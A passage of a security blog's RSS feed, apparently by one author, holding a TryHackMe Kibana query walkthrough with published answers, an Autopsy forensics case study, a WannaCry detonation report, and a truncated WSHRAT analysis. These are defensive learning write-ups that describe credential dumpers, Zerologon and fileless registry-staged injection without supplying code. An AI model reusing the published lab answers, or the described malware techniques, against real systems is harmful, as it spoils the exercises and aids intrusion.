we’ve learned in this task by continuing to investigate the incidents index pattern and answering the questions below!</p><p><strong>Answer the questions below</strong></p><p>To answer these questions, ensure you are in the incidents index pattern and turn <strong>ON</strong> KQL in the search bar. Since we are querying across the entire dataset, ensure your time range is sufficiently broad (e.g., Apr 30, 2022 @ 00:00:00.000 → now).</p><p><strong>Question 1: How many Data Leak incidents have a severity_level of 9 or higher?</strong></p><p><strong>Query to run:</strong> incident_type: “Data Leak” AND severity_level &gt;= 9</p><p><strong>Answer: 52</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*tIWnrmvJJVMKm-IM8UYwUA.png" /></figure><p><strong>Question 2: Check out the incidents investigated by AJohnston on or before December 1, 2022. How many events occurred on either an Email Server or a Web Server?</strong></p><p><strong>Query to run:</strong> team_members.name: “AJohnston” AND @timestamp &lt;= “2022–12–01” AND affected_systems.system_type: (“Email Server” OR “Web Server”)team_members.name: “AJohnston” AND @timestamp &lt;= “2022–12–01” AND affected_systems.system_type: (“Email Server” OR “Web Server”)</p><p><em>(</em><strong><em>Note:</em></strong><em> check the left panel to find the correct field name in your dataset.)</em></p><p><em>(Note: I kept @timestamp as it is Kibana’s default time field, but if that still gives you issues, you can swap it out for the </em><strong><em>incident_date</em></strong><em> field that is also visible in your screenshot!)</em></p><p><strong>Answer: 65</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*x8LfH2PKsVWprgzY9l_gqQ.png" /></figure><p><strong>Question 3: Investigate incident_id 1–500. Which analyst stated that the Data Leak on file-server-65 was a false positive?</strong></p><p><strong>Query to run:</strong> incident_id &gt;= 1 AND incident_id &lt;= 500 AND affected_systems.system_name: “file-server-65” AND incident_type: “Data Leak”</p><p><strong>Note: </strong>I ran the query and narrowed the results to one match. I expanded the event in the Discover panel and checked the document data for the comments or <strong>incident_comments</strong> section. There, I found a comment stating it was a false positive and noted the name of the author/analyst (<strong>team_members.name</strong>) linked to the comment.</p><p><strong>Answer: JLim</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3V4XZFuJEvelcHWRe0CgA.png" /></figure><h4><strong>Task 6. Searching Variants and Proximity</strong></h4><p>· Fuzzy searching is used to find terms that are similar but not identical to your search term.</p><p>· It is highly effective for catching spelling inconsistencies in user-submitted comments, analyst notes, or manually entered fields.</p><p>· <strong>Requirement:</strong> Fuzzy searching is supported in <strong>Lucene query syntax</strong>, but <em>not</em> in Kibana Query Language (KQL). You must toggle KQL off.</p><p>· <strong>Syntax:</strong> Use the tilde symbol ~ followed by a number representing the allowed edit distance (number of character changes).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*ofymjuNgQg1bVGiy0tKyig.png" /></figure><p>host_name: <strong>server01~1</strong> (Allows 1 character difference: matches server01 and serber01)</p><p>host_name: <strong>server01~2</strong> (Allows 2 character differences: matches server01, serber01, and sorvor01)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mJlBwaKsqDyF6QE6VODd7g.png" /></figure><p><strong>Overview of Proximity Searches</strong></p><p>· Proximity searches allow you to find documents where two or more terms appear within a specified distance of each other.</p><p>· The slop parameter dictates the maximum positional distance between the terms.</p><p>· <strong>Syntax:</strong> <strong>field_name: “search term”~slop_value</strong></p><p>· Unlike fuzzy searches, the slop value applies to a phrase enclosed strictly in quotation marks.</p><p><strong>Note on Tokenisation:</strong> For analysed text fields, punctuation marks (like <strong>:</strong> and <strong>-</strong>) are not stored as tokens and do not occupy positional increments. Therefore, they do not count toward your slop distance.</p><p>As you can see, the tilde <strong>~</strong> character is used similarly to fuzzy searches, followed by a <strong>slop_value</strong>. The difference is that in proximity searches, the slop value is applied to a phrase enclosed in quotation marks <strong>“”</strong>. Let’s consider the following dataset as an example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8OhjsLLF64bw0Sy8l5cG2w.png" /></figure><p>To search for all documents where the terms server and error appear within a specified distance of 1 in the <strong>log_message</strong> field, you can use the following query:</p><p>· <strong>log_message: “server error”~1</strong>: Allows up to one position away and will return the values <strong>Server error: failed login attempt</strong>, and <strong>Server: Detected error in connection</strong></p><p><strong>Playbook for Answering the Questions</strong></p><p>To run these queries, switch to the <strong>incidents</strong> index pattern, ensure your time range is sufficiently broad, and strictly turn <strong>OFF</strong> KQL so you are using <strong>Lucene</strong> syntax.</p><p><strong>Answer the questions below</strong></p><p><strong>Question 1: How many incidents has JLim handled in which the word true appears with a single character difference?</strong></p><p><strong>Query to run:</strong> team_members.name: “JLim” AND incident_comments: true~1</p><p><strong>Answer:</strong> <strong>110</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*mXOMO-kXrmjFCkSkmwGTRQ.png" /></figure><p><strong>Question 2: How many events contain data-leak true-negative within three words of each other?</strong></p><p><strong>Query to run:</strong> incident_comments: “data-leak true-negative”~3</p><p><strong>Answer:</strong> <strong>33</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*LnaZ_-_sy7PIfatKmohtWw.png" /></figure><p><strong>Question 3: How many incidents handled by AJohnston contain detected and negative within two positions?</strong></p><p><strong>Query to run:</strong> team_members.name: “AJohnston” AND incident_comments: “detected negative”~2</p><p><strong>Answer:</strong> <strong>40</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*SDaiIv1RDpzeU1bGjngH5A.png" /></figure><h4><strong>Task 7. Querying Security Events</strong></h4><p><strong>Definition:</strong> ECS is a standardised set of field-naming conventions.</p><p><strong>Purpose:</strong> It is designed to make searching and correlating data across different data sources significantly easier.</p><p><strong>How it Works:</strong> It normalises disparate field names into a single, common field. For example, if a VPN log uses <strong>src_ip</strong> and a web server log uses <strong>client_address</strong>, ECS normalises both into a unified field like <strong>source.ip</strong>.</p><p><strong>Implementation:</strong> Modern Elastic environments map known data sources (such as endpoint, cloud, network, and web data) to ECS by default upon ingestion. However, if you are ingesting custom logs, you may need to write your own parser to ensure ECS compliance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TmnIvW0bhMBdAhA-7qteRw.png" /></figure><p><strong>Overview of Event Query Language (EQL)</strong></p><p>· <strong>Definition:</strong> EQL is a correlation-focused query language designed specifically for security use cases.</p><p>· <strong>Purpose:</strong> Unlike traditional queries (like KQL or Lucene) that filter individual documents, EQL allows analysts to identify relationships between events over time.</p><p>· <strong>Use Cases:</strong> It is primarily used for <strong>detection engineering</strong> and <strong>threat hunting</strong> where spotting multi-step, sequential adversary activity is critical.</p><p><strong>Requirements &amp; Execution:</strong></p><p>· EQL operates strictly on ECS fields, so it requires ECS-compliant data to function properly.</p><p>· It is most commonly used to power detection rules on the backend and is <strong>not </strong>run directly in the Kibana search bar; instead, it can be executed via the Elasticsearch API.</p><p><strong>Example EQL Detection Rule</strong></p><p>Below is an example of an EQL rule designed to monitor a Linux host for unauthorised modifications to cron jobs:</p><p><em>file where host.os.type == “linux” and</em></p><p><em>event.action in (“rename”, “creation”) and</em></p><p><em>file.path in (</em></p><p><em>“/etc/crontab”,</em></p><p><em>“/etc/cron.allow”,</em></p><p><em>“/etc/cron.deny”</em></p><p><em>)</em></p><p><strong>Answer the questions below</strong></p><p><strong>Question 1: Which Elastic component standardises field names across different data sources?</strong></p><p><strong>Answer:</strong> Elastic Common Schema</p><p><strong>Question 2: Which Elastic language is often used to write event correlation detection rules?</strong></p><p><strong>Answer:</strong> Event Query Language</p><blockquote>Thank you for your reading.</blockquote><blockquote>Happy Hunting!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=322dc4e3ff85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating Windows 10 Disk Artefacts: An Autopsy Case Study]]></title>
            <link>https://medium.com/@svetli80/investigating-windows-10-disk-artefacts-an-autopsy-case-study-6c54fd19acf2?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c54fd19acf2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[autopsy]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 10:54:42 GMT</pubDate>
            <atom:updated>2026-07-05T10:54:42.641Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*7f8eyhSiJwGiWOikx9iLRA.png" /><figcaption><strong>TryHackMe | Disk Analysis &amp; Autopsy Challenge | by Svetoslav Angelov</strong></figcaption></figure><p><strong>Executive Summary</strong></p><p>During this digital forensics engagement, I was provided with a Windows 10 disk image (HASAN2.E01) to perform a manual artefact analysis using Autopsy. The investigation aimed to uncover the footprint of malicious activities, track user behaviour, and identify potential privilege escalation and lateral movement tools residing on the host. By leveraging Autopsy’s built-in parsers alongside manual registry and file system extraction, I successfully reconstructed the system’s network configuration, tracked user command-line executions, and uncovered critical evidence of credential dumping tools (Mimikatz and Lazagne) and severe vulnerability exploits (Zerologon). This report details the complete DFIR methodology utilised to trace these host-based artefacts.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Internal Source (Assigned):</strong> 10.129.180.69 / 192.168.130.216 (Assigned to Host: DESKTOP-0R59DJ3)</p><p>· <strong>Target Identity:</strong> administrator (RDP Username)</p><p>· <strong>Attacker IP:</strong> N/A (Internal Analysis Environment)</p><p>· <strong>Identity:</strong> administrator (Host Account)</p><p><strong>Phase 1: Initial Triage &amp; System Enumeration</strong></p><p>The investigation commenced with validating the integrity of the evidence. After successfully repointing Autopsy to the HASAN2.E01 disk image, I verified the MD5 hash of the container to ensure the evidence remained unaltered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*eX3H3RlH4Ql-yMWLcTsbpg.png" /><figcaption><strong><em>Figure 1.0:</em></strong><em> File Metadata tab showing the MD5 Hash string of the evidence container.</em></figcaption></figure><p>With the evidence verified, I shifted focus to baseline system enumeration. Parsing the SOFTWARE registry hive under the Extracted Content node revealed the local computer name as DESKTOP-0R59DJ3. Further analysis of the Operating System User Accounts identified multiple standard user profiles (H4S4N, joshwa, keshav, sandya, shreya, sivapriya, srini, suba). By sorting the registry keys by “<strong>Date Accessed</strong>” in the <strong>LogonUI </strong>directory, I confirmed that <strong>sivapriya</strong> was the last user to log into the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*LxoC_lvNWAaMSwo1Bg99Fw.png" /><figcaption><strong><em>Figure 1.1</em></strong><em>: Operating System User Account view with the “Name” column, highlighting the block of custom user accounts.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*A8ppjldkwFQDU2PvZq6oag.png" /><figcaption><strong><em>Figure 1.2</em></strong><em>: Application tab showing the Registry tree expanded to the LogonUI folder, with the LastLoggedOnSAMUser key visible in the data pane, confirming ‘sivapriya’ as the last active user.</em></figcaption></figure><p><strong>Standard registry enumeration for the IP configuration</strong></p><p>(SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces) returned 0.0.0.0. Adapting to this, I pivoted to third-party applications installed on the host. Searching the installed programs revealed a network monitoring tool named <strong>Look@LAN</strong>. By extracting its configuration file (<strong>irunin.ini</strong>) from the Program Files (x86) directory, I successfully recovered both the cached local IP address (192.168.130.216) and the MAC address (08–00–27–2c-c4-b9). Finally, manual navigation to the SOFTWARE hive’s NetworkCards subkey identified the physical network adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*eDKXMXi0hdA-NHYfrgfdyQ.png" /><figcaption><strong><em>Figure 1.3:</em></strong><em> The irunin.ini file viewer with the LANIP value and LANNIC value explicitly highlighted.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CqBy4GYf_u2W-UnolZEGmw.png" /><figcaption><strong><em>Figure 1.4</em></strong><em>: Application tab showing the raw registry path (Microsoft &gt; Windows NT &gt; CurrentVersion &gt; NetworkCards &gt; 2) exposing the Intel(R) PRO/1000 MT Desktop Adapter.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*TKLbVRr0dPUkMBVLjwA-oA.png" /><figcaption><strong><em>Figure 1.5:</em></strong><em> Installed Programs view with the Look@LAN monitoring utility highlighted.</em></figcaption></figure><p><strong>Phase 2: User Activity &amp; Behaviour Tracking</strong></p><p>With the system baseline established, the investigation shifted to analysing user-specific activities and browser artefacts. Browser forensics often yield critical geolocation data. Autopsy’s automated parsers successfully extracted a Google Maps web bookmark containing exact coordinates (12°52&#39;23.0&quot;N 80°13&#39;25.0&quot;E), mapping the suspect’s digital footprint to a physical location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*IBE5RUCL50cvDQQY-ypmpQ.png" /><figcaption><strong><em>Figure 2.0:</em></strong><em> The Web Bookmarks table with the Google Maps entry selected, exposing the exact pinned coordinates.</em></figcaption></figure><p>To further tie physical identities to logical accounts, I examined media files across the user directories. In the Downloads folder for the user <strong>joshwa</strong>, I discovered an image file utilised as a desktop wallpaper with the user’s full name, “Anto Joshwa,” printed directly on the graphic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*KwYTysbD6rD9FqC4n1HRsQ.png" /><figcaption><strong><em>Figure 2.1:</em></strong><em> The Images/Videos gallery showing the downloaded wallpaper with “Anto Joshwa”.</em></figcaption></figure><p>Diving deeper into user command execution, I focused on the active user profile <strong>shreya</strong>. Modern Windows environments log PowerShell commands in a hidden text file, providing a goldmine for tracking execution history. I navigated directly to shreya’s <strong>PSReadLine</strong> directory and extracted the <strong>ConsoleHost_history.txt</strong> file. The logs revealed deliberate command-line manipulation, where the user overwrote an initial flag (flag{HarleyQuinnForQueen}) with a new value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*dEc-1PV32Va2CX5LxDRSTg.png" /><figcaption><strong><em>Figure 2.2</em></strong><em>: The ConsoleHost_history.txt file viewer in the bottom-right panel, with the specific PowerShell command containing “flag{HarleyQuinnForQueen}” highlighted.</em></figcaption></figure><p><strong>Phase 3: Privilege Escalation &amp; Credential Harvesting</strong></p><p>The discovery of PowerShell manipulation warranted an immediate sweep of shreya’s local directories for malicious scripts. On the user’s Desktop, I located a script named <strong>exploit.ps1</strong>. Source code analysis revealed instructions designed to escalate local privileges and generate a text file containing the taunt flag{I-hacked-you}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*xx1vgXPz_ayz8lPqAfhapA.png" /><figcaption><strong><em>Figure 3.0:</em></strong><em> The exploit.ps1 file selected with the script’s raw code displayed below, confirming the privilege escalation routine.</em></figcaption></figure><p>Operating with heightened privileges often precedes credential harvesting. I expanded the scope to uncover password-dumping utilities. By exploring the H4S4N user directory, I quickly identified a <strong>.zip</strong> archive for <strong>Mimikatz</strong> located plainly in the Downloads folder.</p><p>However, advanced threat actors frequently execute tools from memory or delete the binaries post-execution. To ensure no tools were missed, I pivoted to Windows Prefetch files (<strong>.pf</strong>), which definitively prove program execution on the disk. Sorting the Prefetch directory uncovered a secondary password dumper, <strong>Lazagne</strong>. The execution metadata confirmed it was run directly from the \USERS\H4S4N\DESKTOP path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*lbLxZxPfo_mI07s3q-2i4Q.png" /><figcaption><strong><em>Figure 3.1:</em></strong><em> The H4S4N Downloads directory highlighting the downloaded mimikatz_trunk.zip archive.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*K97GBLE-Fuaq6SzfD5VJiw.png" /><figcaption><strong><em>Figure 3.2</em></strong><em>: The Windows Prefetch directory displaying the LAZAGNE.EXE-27427BB6.pf file, with execution metadata confirming the source path.</em></figcaption></figure><p><strong>Phase 4: Advanced Exploitation Artefacts</strong></p><p>To secure the environment against the recovered tooling, I searched the disk for existing signature rules. Utilising Autopsy’s Keyword Search for the <strong>.yar</strong> extension, I located a YARA file associated with the Mimikatz archive. Inspecting the rule’s metadata identified the author as Benjamin DELPY (gentilkiwi).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*H3V8oseB9J0KQkOu_o0sQQ.png" /><figcaption><strong><em>Figure 4.0</em></strong><em>: The extracted .yar file with the raw text visible in the bottom panel, highlighting the rule author’s identity.</em></figcaption></figure><p>In the final phase of the investigation, I searched for evidence of lateral movement capabilities targeting the wider Active Directory environment. By utilising Autopsy’s Recent Documents parser, I uncovered a highly suspicious shortcut file. The artefact (2.2.0 20200918 Zerologon encrypted.zip) proved the presence of an MS-NRPC based exploit (CVE-2020–1472), indicating clear intent to compromise the primary Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*KZs7uenM8QY8sENNfsePlw.png" /><figcaption><strong><em>Figure 4.1:</em></strong><em> The Recent Documents view with the “2.2.0 20200918 Zerologon encrypted.zip” shortcut file highlighted.</em></figcaption></figure><p><strong>Conclusion &amp; Indicators of Compromise (IoCs)</strong></p><p>This case study demonstrates the necessity of combining automated GUI parsing with manual raw disk navigation. While standard OS registries failed to provide network details, pivoting to application configurations (Look@LAN) filled the intelligence gap. Furthermore, tracking PowerShell command history and Windows Prefetch logs proved essential in mapping the attacker’s execution chain from initial privilege escalation scripts to the deployment of devastating credential-harvesting tools (Mimikatz, Lazagne) and Domain Controller exploits (Zerologon).</p><p><strong>Verified IoCs:</strong></p><p><strong>File Hashes (MD5):</strong></p><p>· 3f08c518adb3b5c1359849657a9b2079 (HASAN2.E01 Disk Image)</p><p><strong>Host-Based Artefacts:</strong></p><p>· <strong>Network Tool:</strong> Look@LAN (192.168.130.216)</p><p>· <strong>PowerShell History:</strong> \Users\shreya\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</p><p>· <strong>Exploit Script:</strong> \Users\shreya\Desktop\exploit.ps1</p><p>· <strong>Credential Tool 1:</strong> \Users\H4S4N\Downloads\mimikatz_trunk.zip</p><p>· <strong>Credential Tool 2 (Prefetch):</strong> \Windows\Prefetch\LAZAGNE.EXE-27427BB6.pf</p><p>· <strong>DC Exploit Archive:</strong> 2.2.0 20200918 Zerologon encrypted.zip</p><p><strong>Compromised / Active Accounts:</strong></p><p>· sivapriya</p><p>· shreya</p><p>· H4S4N</p><p>· joshwa</p><p><strong><em>Note:</em></strong><em> This disk forensics and artefact analysis case study was conducted as part of the TryHackMe Disk Analysis &amp; Autopsy Challenge.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c54fd19acf2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When the Lab Fights Back: Surviving My First Malware Detonation]]></title>
            <link>https://medium.com/@svetli80/when-the-lab-fights-back-surviving-my-first-malware-detonation-4d1b377b0503?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d1b377b0503</guid>
            <category><![CDATA[virtual-lab]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[wannacry]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 15:12:43 GMT</pubDate>
            <atom:updated>2026-06-30T15:12:43.421Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*IrhEZed9b8EujTRpYcmikQ.png" /></figure><p>Stepping into a SOC Analyst role requires more than just academic knowledge; it requires hands-on battle scars. I recently built a mathematically airgapped malware forge to test my skills against real-world threats. My first target? The infamous WannaCry ransomware.</p><p>I set my traps: Wireshark listening on a REMnux watcher node, and Process Monitor (Procmon) filtered and primed on the Windows 10 victim machine. I double-clicked the payload and braced for the iconic red ransom note.</p><p>Instead, a black <strong><em>cmd.exe</em></strong> window flashed on the screen, an error triggered, and the entire virtual machine instantly hard-rebooted. When the boot screen returned, I was greeted with a chilling message: <em>Operating System Not Found</em>. The malware hadn’t just encrypted my files; the entire virtual hard drive was destroyed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*64F8TXNMUbBoH_MnYWSoDQ.png" /><figcaption><strong><em>Figure1: The EFI Network timeout error</em></strong></figcaption></figure><p>As I dug into the forensics, I discovered the true culprit wasn’t WannaCry, but it was my own monitoring tools. Procmon records every single action a process takes. WannaCry encrypts so rapidly that it generated millions of file operations in milliseconds. Procmon stored all those events in the virtual machine’s RAM, instantly exhausting the memory and causing a kernel panic. The OS crashed so hard while writing to the disk that it corrupted the EFI boot partition.</p><p>I restored my safety snapshot and formulated a fix. To prevent the RAM exhaustion, I opened Procmon’s Filter menu and created a strict rule: <strong><em>Process Name is wannacry.exe -&gt; Include</em></strong>. Then, I clicked <strong>Drop Filtered Events</strong>. This configuration forces Procmon to instantly discard all background Windows noise, dedicating 100% of the system memory to logging the ransomware.</p><p>I detonated the payload a second time. Once again, the system locked up, and the EFI network timed out. The sheer volume of disk I/O requests generated by the ransomware was causing a massive storage bottleneck. My tools were amplifying the explosion.</p><p>I had to make a tactical decision. If I wanted to see the malware work, I had to take off the safety goggles. I initiated a “Bare Detonation” running the ransomware with no heavy logging tools active.</p><p>I double-clicked the payload. The screen flickered, the system hung, and the VM aggressively rebooted itself. But this time, it survived.</p><p>The VM booted into Windows Safe Mode. The malware had pushed the OS to the absolute brink, but the hard drive held together. There, sitting quietly on my blacked-out desktop, were the @WanaDecryptor@.exe executable and the @Please_Read_Me.txt ransom note detailing the Bitcoin wallet address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*96GGKOE1iOtTELCFBlqs1g.png" /><figcaption><strong><em>Figure2: The Windows Safe Mode desktop showing the dropped WannaCry files</em></strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*0XpgrehPbIrnpgWpY3cacg.png" /><figcaption><strong><em>Figure3: The @Please_Read_Me.txt ransom note detailing the Bitcoin wallet address.</em></strong></figcaption></figure><p>The analysis was a success. It proved that sometimes the most destructive aspect of malware isn’t just the files it encrypts, but the sheer systemic shock it delivers to the operating system and the security tools trying to watch it. My lab survived its first trial by fire, the airgap held flawlessly, and I walked away with the Indicators of Compromise.</p><p><strong>Technical Report Summary: WannaCry Detonation</strong></p><p>· <strong>Report ID:</strong> 2026–05–06-WC-01</p><p>· <strong>Classification:</strong> TLP:CLEAR</p><p>· <strong>Subject:</strong> WannaCry Ransomware Detonation &amp; Tooling Exhaustion Analysis</p><p><strong>Executive Summary</strong></p><p>On May 6, 2026, an authorised detonation of a suspected WannaCry ransomware payload was conducted within an airgapped Windows 10 virtual environment. Initial execution attempts resulted in catastrophic Out-Of-Memory (OOM) kernel panics and EFI boot partition corruption. Forensic analysis determined that the massive volume of I/O events generated by the payload caused the primary behavioural monitoring tool (Process Monitor) to exhaust available virtual memory and lock the storage drive. Subsequent troubleshooting, culminating in a “Bare Detonation” (execution without kernel-level logging), allowed the payload to successfully unpack, drop ransom notes, and force an emergency Windows Safe Mode reboot, effectively interrupting the malware’s external C2 beaconing phase.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Internal Source (Assigned):</strong> 192.168.134.128 (Assigned to Virtual Machine Host: DESKTOP-KHTFPG0)</p><p>· <strong>Target Identity:</strong> Windows 10 Virtual Environment (User: Analyst)</p><p>· <strong>Attacker IP:</strong> N/A (Execution interrupted prior to external connection)</p><p>· <strong>Identity:</strong> Analyst (Local Administrator Account)</p><p>· <strong>VPN Gateway:</strong> None (Isolated Host-Only Network VMnet1)</p><p>· <strong>External Actor:</strong> WannaCry / WannaCryptor Ransomware (SHA256: C34AF1F1F238747D6839CE6857138E97D722443C4E2A794C072C236228CEAA07)</p><p><strong>Technical Findings &amp; Troubleshooting Chronology</strong></p><p><strong>Execution Attempt 1 (Baseline):</strong> Payload initiated via user interaction. The malware spawned cmd.exe to delete volume shadow copies. The rapid file encryption sequence overwhelmed Process Monitor (Procmon), exhausting the 4GB of allocated VM RAM in milliseconds. This resulted in a hard system crash and an “Operating System Not Found” EFI error.</p><p><strong>Execution Attempt 2 (Tool Tuning):</strong> The environment was restored. To mitigate RAM exhaustion, Procmon was aggressively tuned:</p><p>o A strict inclusion filter was applied: Process Name -&gt; is -&gt; wannacry.exe -&gt; Include.</p><p>o Memory optimisation was enabled via the Filter menu by selecting <em>Drop Filtered Events</em>.</p><p>o <em>Result:</em> Despite memory optimisation, the sheer volume of disk I/O requests generated by the ransomware caused a storage bottleneck, resulting in a secondary fatal EFI Network Timeout crash.</p><p><strong>Execution Attempt 3 (Bare Detonation):</strong> The environment was restored. Procmon was disabled entirely to prevent tool-induced instability. Process Explorer and Wireshark remained active.</p><p>o <em>Result:</em> The detonation succeeded without corrupting the virtual disk. The aggressive encryption and system modification triggered a native Windows kernel panic, forcing the host into an emergency Safe Mode reboot.</p><p><strong>Host Indicators (IoCs):</strong> Upon booting into Safe Mode, the following artefacts were observed on the desktop:</p><p>o Ransom instructions: @Please_Read_Me.txt</p><p>o Decryptor executable: @WanaDecryptor@.exe</p><p>o Bitcoin Wallet Address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw</p><p><strong>Network Activity:</strong> Network captures on the isolated interface (ens33) indicated standard broadcast activity (NBNS, ARP, LLMNR) originating from 192.168.134.128. The payload failed to execute its primary HTTP GET request to its hardcoded killswitch domain because the rapid system failure and Safe Mode reboot killed the network thread.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d1b377b0503" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Infinite Loop: Deconstructing WSHRAT’s Fileless Injection and Defeating Lab Routing Blindspots]]></title>
            <link>https://medium.com/@svetli80/the-infinite-loop-deconstructing-wshrats-fileless-injection-and-defeating-lab-routing-blindspots-a2ad3dad4474?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2ad3dad4474</guid>
            <category><![CDATA[wshrat]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[vbscript]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[kognito]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 14:59:47 GMT</pubDate>
            <atom:updated>2026-06-29T14:59:47.182Z</atom:updated>
            <content:encoded><![CDATA[<p>Malware analysis is rarely a straightforward sequence of executing a payload and watching the indicators neatly populate your dashboards. Sometimes the malware waits, and sometimes your own laboratory hides the evidence.</p><p>Recently, I isolated a VBScript variant of the infamous WSHRAT (also known as Houdini) from MalwareBazaar. My objective was to deconstruct its obfuscated code statically, detonate it in a controlled, host-only environment, capture its fileless PowerShell injection via Event Tracing, and map its Command and Control (C2) infrastructure on the wire.</p><p>Instead of a quick win, I found myself navigating a game of cat-and-mouse against the malware’s synchronous execution loops, Windows diagnostic background noise, and a fundamental flaw in virtualised DNS routing.</p><p>This is the story of hunting WSHRAT, where understanding why an exploit failed to fire was the key to cracking the entire operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*eauoEU6WYYqFZ10VhamuYg.png" /></figure><p><strong>The Blueprint: Static Discovery</strong></p><p>The investigation began by air-gapping my Windows 10 victim host and REMnux analysis gateway. After extracting the password-protected archive, I staged the raw <strong>malware.vbs</strong> file inside Visual Studio Code to perform static analysis before detonation.</p><p>The threat actor was remarkably careless. Right at the top of the file, nestled in a comment block, was their moniker and Skype contact information (<strong>recoder : kognito</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pTpPi7jlrxQq8VxmXaEG0A.png" /><figcaption><strong><em>Figure 1</em></strong><em>. Visual Studio Code exposing the initial configuration block of the VBScript, including the threat actor’s signature, target installation directory, and hardcoded C2 port (3369).</em></figcaption></figure><p>As I scrolled through the un-obfuscated script, I mapped out a highly sophisticated execution chain. The malware was designed to enumerate installed Antivirus products using Windows Management Instrumentation (WMI) queries to <strong>SecurityCenter2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*2ZT1LNQUsG7O649plLHPAQ.png" /><figcaption><strong><em>Figure 2:</em></strong><em> The security function (Lines 546–571). The malware utilises WMI to query SecurityCenter2 to actively enumerate installed Antivirus products, allowing it to report host defences back to the C2.</em></figcaption></figure><p>More alarmingly, I discovered a <strong>faceMask</strong> function detailing a modern “Living off the Land” (<strong>LotL</strong>) execution tactic: Process Hollowing. Instead of dropping a <strong>malicious .exe</strong> to the disk, the VBScript was programmed to take massive chunks of Base64-encoded text, store them inside the <strong>Windows Registry (HKCU\SOFTWARE\Microsoft\mPluginC),</strong> and use a hidden PowerShell command to reflectively load the payload directly into a legitimate <strong>MSBuild.exe</strong> process in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*a1puRW1sJvvzlPe5OF7-Pw.png" /><figcaption><strong><em>Figure 3:</em></strong><em> The faceMask function (Lines 1058–1066). This routine handles the “Living off the Land” tactics, storing encoded payload chunks directly into the Windows Registry.</em></figcaption></figure><p><strong>The Silent Detonation</strong></p><p>Eager to catch this fileless injection in the act, I configured my dynamic capture tools. I launched INetSim and Wireshark on my REMnux gateway. On the Windows host, I fired up Process Explorer and cleared my Event Viewer, specifically ensuring PowerShell Script Block Logging (Event ID 4104) was enabled.</p><p>I double-clicked malware.vbs. I waited.</p><p>I refreshed Event Viewer, expecting to see the malicious PowerShell command logged cleanly. An Event 4104 appeared, but the script block was full of functions like Get-FreeSpace and Delete-OldFolders executing from C:\Windows\TEMP\SDIAG_….</p><p>The PowerShell injection didn’t run. I 